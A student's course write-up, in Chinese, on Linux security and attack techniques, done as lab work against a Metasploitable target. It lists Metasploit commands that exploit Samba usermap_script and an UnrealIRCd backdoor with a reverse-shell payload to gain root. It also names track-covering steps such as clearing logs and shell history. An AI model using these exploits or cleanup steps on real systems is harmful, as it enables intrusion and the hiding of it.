20199122 2019-2020-2 《网络攻防实践》第八周作业
1.实践内容
1.1 Linux操作系统基本框架
- linux操作系统除了开放源代码与免费,还具有:跨平台的硬件支持、丰富的软件支持、多用户多任务、可靠的安全性、良好的稳定性、完善的网络功能。
- linux系统结构:进程与线程管理机制、内存管理机制、文件系统管理机制、设备控制机制、网络机制、系统调用机制。
1.2 linux 操作系统安全机制
linux操作系统的核心安全机制主要是身份认证、授权与访问控制、安全审计。
- linux通过创建多种角色类型的用户及用户组来实施用户身份管理,来确保多个用户安全地使用linux操作系统。
- linux用户分为:root根用户、普通用户、系统用户;用户信息保存在/etc/passwd
- linux用户组就是具有相同特征的用户账号集合,用户组信息保存在/etc/group文件中
- linux支持本地登录用户认证机制和远程登录用户认证机制。
- linux的统一身份认证中间件——PAM(可插入身份认证模块),支持四种管理界面:认证管理、账户管理、密码管理、会话管理。
- linux授权与访问控制机制,所有文件与设备资源的访问控制都通过VFS虚拟文件系统来实现,在linux的虚拟文件系统安全模型中,主要通过文件所有者,文件访问权限和一些特殊权限位来进行系统的授权与访问控制。只能将用户分为所有者、所有者所在组和其他用户这三种类别分配权限,无法做到更细粒度的权限控制。
- linux安全审计机制主要通过三个主要的日志子系统:连接时间日志、进程统计日志、错误日志记录
1.3 Linux系统远程攻防技术
攻击者首先利用踩点、扫描和查点等技术手段收集关于目标linux系统的信息,然后攻击者从远程网络发掘某个监听网络服务中安全漏洞或配置弱点,来获取本地shell访问权。
- linux远程口令字猜测攻击,最佳防御措施是使用不易猜测的强口令字,在非标准端口上运行容易遭受远程口令猜测攻击的服务,使用一些口令猜测攻击检测与防御软件;使用linux防火墙IPTables限制SSH等易受远程口令猜测攻击网络服务的访问源IP地址范围。
- linux网络服务远程渗透攻击
- FTP、Samba等文件共享服务,FTP用于文件交换和共享传输,一般监听20和21端口;Samba是在tcp445端口监听。
- 电子邮件收发服务
- 其他网络服务,如Open SSL(TCP 443端口),OpenSSH(TCP 22端口)
- 安全防范措施:禁用不必要的网络服务、尽量选择更安全的网络协议与服务软件、及时更新网络服务版本、使用xinetd,防火墙为linux网络服务添加网络访问控制、建立入侵检测与应急响应计划流程
- 攻击Linux客户端程序和用户
- 通过实施社会工程学攻击客户达到渗透
- 防范措施:定期更新软件、提高安全意识
- 攻击linux路由器和监听器
- 配置
ip_forward=1
以路由器模式运行,net子系统的route.c实现路由器的寻址与数据包的转发功能。 - 攻击监听器和入侵检测器:Libpcap抓包库、tcpdump命令行程序、Wiresahrk网络监听与协议分析软件、Snort入侵检测系统。
- 防范措施:网络管理员要建立一种安全对抗与博弈的意识;掌握攻击者的渗透入侵手段
- 配置
1.4 linux 系统本地安全攻防技术
-
linux本地提取
- 破解root用户的口令,用su或sudo提取;
- 发掘并利用su或sudo程序中的安全漏洞
- 攻击用户态SUID特权提升漏洞:针对SUID程序的本地缓冲溢出攻击、针对SUID程序的符号链接攻击、针对SUID程序的竞争条件攻击、针对SUID程序的共享函数库的攻击
- 攻击Linux内核代码特权提升漏洞
- 从系统中搜索全局可写的敏感文件与目录位置并加以利用
- 防范措施:及时进行特权代码和内核的升级以修补本地特权安全漏洞;避免使用root用户进行日常操作等
-
linux上地消踪灭迹
主要审计日志机制在/var/log目录下,主要由系统核心进程、syslogd与各个网络服务提供事件审计功能。
- 改变当前活动的日志,往往查看/etc/syslog.cnf配置文件内容,系统对认证授权的记录在/var/log/auth.log中,一些系统报警、信息、认证等日志在/var/log/messages文件中
- 清理在Shell程序中所输入的命令历史记录
- 防范措施:将日志信息写到难以修改的媒介
-
linux系统远程控制后门程序
特洛伊木马化的系统程序、命令行后门工具以及图形化后门工具
2.实践过程
2.1 动手实践:使用Metaploit进行Linux远程渗透攻击
使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
- 启动Metaspolit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一。
- 使用
exploit:exploit/multi/samba/usermap_script
渗透攻击模块 - 选择攻击PAYLOAD为远程shell
- 设置攻击参数
- 执行攻击
- 查看是否得到正确的远程shell
步骤:
- 通过
msfconsole
启动渗透软件,用use exploir/multi/samba/usermap_script
使用渗透攻击模块。
- 用
show payloads
查看攻击负载模块,选择攻击PAYLOAD,set PAYLOAD cmd/unix/reverse
,反向连接
-
用
show options
查看默认参数,需设置RHOSTS靶机地址,LHOST攻击机地址,set RHOSTS 192.168.1.125设置靶机地址
,set LHOST 192.168.1.100
设置攻击机地址,
-
用
run
执行攻击
-
查看结果,可获得靶机ip地址为192.168.1.125
2.2 实践作业:攻防对抗实验
- 攻击方使用Metasploit渗透软件针对Linux Metasploitable靶机试试网络攻击,防御方在Metasploitable上使用wireshark捕获攻击流
- 攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
- 防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息
步骤:
-
攻击方ip地址:192.168.1.100,防御方IP地址:192.168.1.125
-
运用nessus对靶机进行漏洞扫描
-
查找漏洞,UnrealIRCd Backdoor Detection,存在后门漏洞,UnrealIRCd(一个开源的IRC服务器程序)在DEBUG3_DOLOG_SYSTEM宏中包含外部引入的恶意代码,远程攻击者能够执行任意代码。
- 用search查找攻击模块,并设置
- 用
show payloads
查看负载模块,并设置反向连接
- 设置攻击机和靶机地址,并进行攻击
-
用``ifconfig
,查看是获得靶机控制权,
whoami`查看其用户权限为root
-
打开wireshark抓包,即可看到攻击机ip地址:192.168.1.100,靶机ip地址为:192.168.1.125 ,目标端口为6667
-
攻击时间从建立连接开始,由nmap扫描可知6667端口开放IRC服务,IRC 一种基于网络的群体聊天方式。可以进行群体聊天也可以进行个人对个人的单独聊天, IRC具有分布式的客户端/服务器结构。用户通过IRC软件连接并登录到到一个IRC服务器,可以访问这个服务器以及它所连接的其他服务器上的频道。 选择相应的聊天频道,既可以开始广播式的群里聊天。也可对频道中单独的用户发起聊天。同时wireshark上发现有IRC包,即为攻击unreal IRCd服务。
- 追踪TCP流, 应该是shellcode
- 可以看到本地执行命令和返回结果
3.学习中遇到的问题及解决
- 问题1:不知道使用什么漏洞进行攻击
- 问题1解决方案:开始是用nessus扫描存在的漏洞,但每个都要尝试,比较麻烦,可以用nmap进行扫描哪些开放端口
- 问题2: kali无法自动获取ip地址
- 问题2解决方案: 我也不知道为啥, 好像是桥接模式需要手动设置,然后我就换成了NAT模式.
4.实践总结
- 与windows渗透攻击相差不大,因此实验做起来问题不大,主要是仍不太会根据wireshark抓包分析数据流.